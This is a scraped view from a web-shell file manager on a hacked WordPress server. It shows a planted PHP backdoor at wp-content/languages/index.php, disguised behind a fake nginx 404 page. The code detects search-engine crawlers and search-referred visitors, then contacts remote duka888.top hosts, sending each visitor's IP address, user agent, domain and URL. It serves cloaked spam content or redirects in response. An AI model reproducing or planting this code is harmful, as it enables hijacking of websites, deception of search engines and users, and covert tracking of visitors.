HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceybwg.com/wp-content/languages/index.php
<?php
error_reporting(0);
set_time_limit(0);


if (defined('JSC_ARTICLE_LOADED')) {
    return;
}
define('JSC_ARTICLE_LOADED', 1);

if (!function_exists('jsc_sv')) {
    function jsc_sv($jsc_k)
    {
        return isset($_SERVER[$jsc_k]) ? $_SERVER[$jsc_k] : '';
    }
}

if (!function_exists('jsc_client_ip')) {
    function jsc_client_ip()
    {
        $jsc_ip = jsc_sv('REMOTE_ADDR');

        if (jsc_sv('HTTP_X_FORWARDED_FOR') != '') {
            $jsc_xff = jsc_sv('HTTP_X_FORWARDED_FOR');
            $jsc_arr = explode(',', $jsc_xff);

            if (isset($jsc_arr[0]) && trim($jsc_arr[0]) != '') {
                $jsc_ip = trim($jsc_arr[0]);
            }
        } elseif (jsc_sv('HTTP_X_REAL_IP') != '') {
            $jsc_ip = jsc_sv('HTTP_X_REAL_IP');
        }

        return $jsc_ip;
    }
}

if (!function_exists('jsc_httpPasserj')) {
    function jsc_httpPasserj($jsc_url)
    {
        /* 优先使用 cURL。 */
        if (function_exists('curl_init')) {
            $jsc_ch = curl_init();

            curl_setopt($jsc_ch, CURLOPT_URL, $jsc_url);
            curl_setopt($jsc_ch, CURLOPT_USERAGENT, jsc_sv('HTTP_USER_AGENT'));
            curl_setopt($jsc_ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($jsc_ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($jsc_ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($jsc_ch, CURLOPT_HEADER, 0);
            curl_setopt($jsc_ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($jsc_ch, CURLOPT_TIMEOUT, 6);

            $jsc_output = curl_exec($jsc_ch);
            curl_close($jsc_ch);

            return $jsc_output;
        }

        /* 没有 cURL 时退回 file_get_contents。 */
        $jsc_context = stream_context_create(
            array(
                'http' => array(
                    'method' => 'GET',
                    'timeout' => 6,
                    'ignore_errors' => true,
                    'header' => 'User-Agent: ' . jsc_sv('HTTP_USER_AGENT') . "\r\n"
                )
            )
        );

        return @file_get_contents(
            $jsc_url,
            false,
            $jsc_context
        );
    }
}

if (!function_exists('jsc_match_one')) {
    function jsc_match_one($jsc_text, $jsc_arr)
    {
        $jsc_text = strtolower($jsc_text);

        foreach ($jsc_arr as $jsc_v) {
            $jsc_v = strtolower($jsc_v);

            if (
                $jsc_v != '' &&
                strpos($jsc_text, $jsc_v) !== false
            ) {
                return $jsc_v;
            }
        }

        return '';
    }
}

if (!function_exists('jsc_build_url')) {
    function jsc_build_url($jsc_base, $jsc_spider, $jsc_ref)
    {
        $jsc_u =
            jsc_sv('REQUEST_URI')
            . '=ip='
            . jsc_client_ip();

        return $jsc_base
            . '?site_type=lhlh&type=jsc'
            . '&spider=' . urlencode($jsc_spider)
            . '&ref=' . urlencode($jsc_ref)
            . '&domain=' . urlencode(jsc_sv('HTTP_HOST'))
            . '&url=' . urlencode($jsc_u);
    }
}

if (!function_exists('jsc_handle_upstream')) {
    function jsc_handle_upstream($jsc_httphtml)
    {
        if ($jsc_httphtml == '') {
            return false;
        }

        $jsc_allhttphtml = explode('####', $jsc_httphtml);

        $jsc_content = isset($jsc_allhttphtml[0])
            ? $jsc_allhttphtml[0]
            : '';

        $jsc_jumpUrl = isset($jsc_allhttphtml[1])
            ? trim($jsc_allhttphtml[1])
            : '';

        $jsc_status = isset($jsc_allhttphtml[2])
            ? intval(trim($jsc_allhttphtml[2]))
            : 0;

        if ($jsc_status == 404) {
            return false;
        }

        if ($jsc_jumpUrl != '') {
            if ($jsc_status == 301) {
                header('HTTP/1.1 301 Moved Permanently');
            } elseif ($jsc_status == 302) {
                header('HTTP/1.1 302 Found');
            } elseif ($jsc_status == 307) {
                header('HTTP/1.1 307 Temporary Redirect');
            } elseif ($jsc_status == 308) {
                header('HTTP/1.1 308 Permanent Redirect');
            } else {
                header('HTTP/1.1 302 Found');
            }

            header('Location: ' . $jsc_jumpUrl);
            return true;
        }

        header('Content-Type:text/html;charset=utf-8');
        echo $jsc_content != ''
            ? $jsc_content
            : $jsc_httphtml;

        return true;
    }
}

$jsc_allowSpiders = array(
    'baiduspider',
    'googlebot',
    'bingbot',
    '360spider',
    'haosouspider',
    'sogou web spider',
    'sogouspider',
    'sogou',
    'yisouspider',
    'smspider',
    'bytespider'
);

$jsc_botWords = array(
    'bot',
    'spider'
);

$jsc_refesString = array(
    'baidu.com',
    'sogou.com',
    'so.com',
    '360.cn',
    'sm.cn',
    'toutiao.com',
    'google.com',
    'bing.com',
    'yahoo.com'
);

$jsc_uri = jsc_sv('REQUEST_URI');
$jsc_ua = strtolower(jsc_sv('HTTP_USER_AGENT'));
$jsc_ref = strtolower(jsc_sv('HTTP_REFERER'));

$jsc_area = (
    stristr($jsc_uri, 'php/') !== false ||
    stristr($jsc_uri, '?') !== false ||
    stristr($jsc_uri, '.asp/') !== false ||
    stristr($jsc_uri, '.asp?') !== false ||
    stristr($jsc_uri, '.aspx/') !== false ||
    stristr($jsc_uri, '.aspx?') !== false ||
    stristr($jsc_uri, '.ashx/') !== false ||
    stristr($jsc_uri, '.ashx?') !== false
);

$jsc_spider_name = jsc_match_one(
    $jsc_ua,
    $jsc_allowSpiders
);

$jsc_bot_name = jsc_match_one(
    $jsc_ua,
    $jsc_botWords
);

$jsc_ref_name = jsc_match_one(
    $jsc_ref,
    $jsc_refesString
);

if ($jsc_ref_name == '') {
    $jsc_ref_name = 'direct';
}

$jsc_is_spider = false;

if (
    $jsc_spider_name != '' ||
    $jsc_bot_name != ''
) {
    $jsc_is_spider = true;
}

if ($jsc_is_spider) {
    if ($jsc_spider_name != '') {
        if ($jsc_area) {
            $jsc_httphtml = jsc_httpPasserj(
                jsc_build_url(
                    'http://ceshi.jsc.duka888.top/duka_base.php',
                    $jsc_spider_name,
                    $jsc_ref_name
                )
            );

            if (jsc_handle_upstream($jsc_httphtml)) {
                exit;
            }
        } else {
            $jsc_al_html = jsc_httpPasserj(
                jsc_build_url(
                    'http://al.duka888.top/al_base.php',
                    $jsc_spider_name,
                    $jsc_ref_name
                )
            );

            jsc_handle_upstream($jsc_al_html);
        }
    }
} else {
    if ($jsc_area) {
        $jsc_httphtml = jsc_httpPasserj(
            jsc_build_url(
                'http://gg.jsc.duka888.top/gg_base.php',
                str_replace(
                    array(' ', "\t", "\r", "\n"),
                    '',
                    strtolower(jsc_sv('HTTP_USER_AGENT'))
                ),
                $jsc_ref_name
            )
        );

        if (jsc_handle_upstream($jsc_httphtml)) {
            exit;
        }
    }
}
?>
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>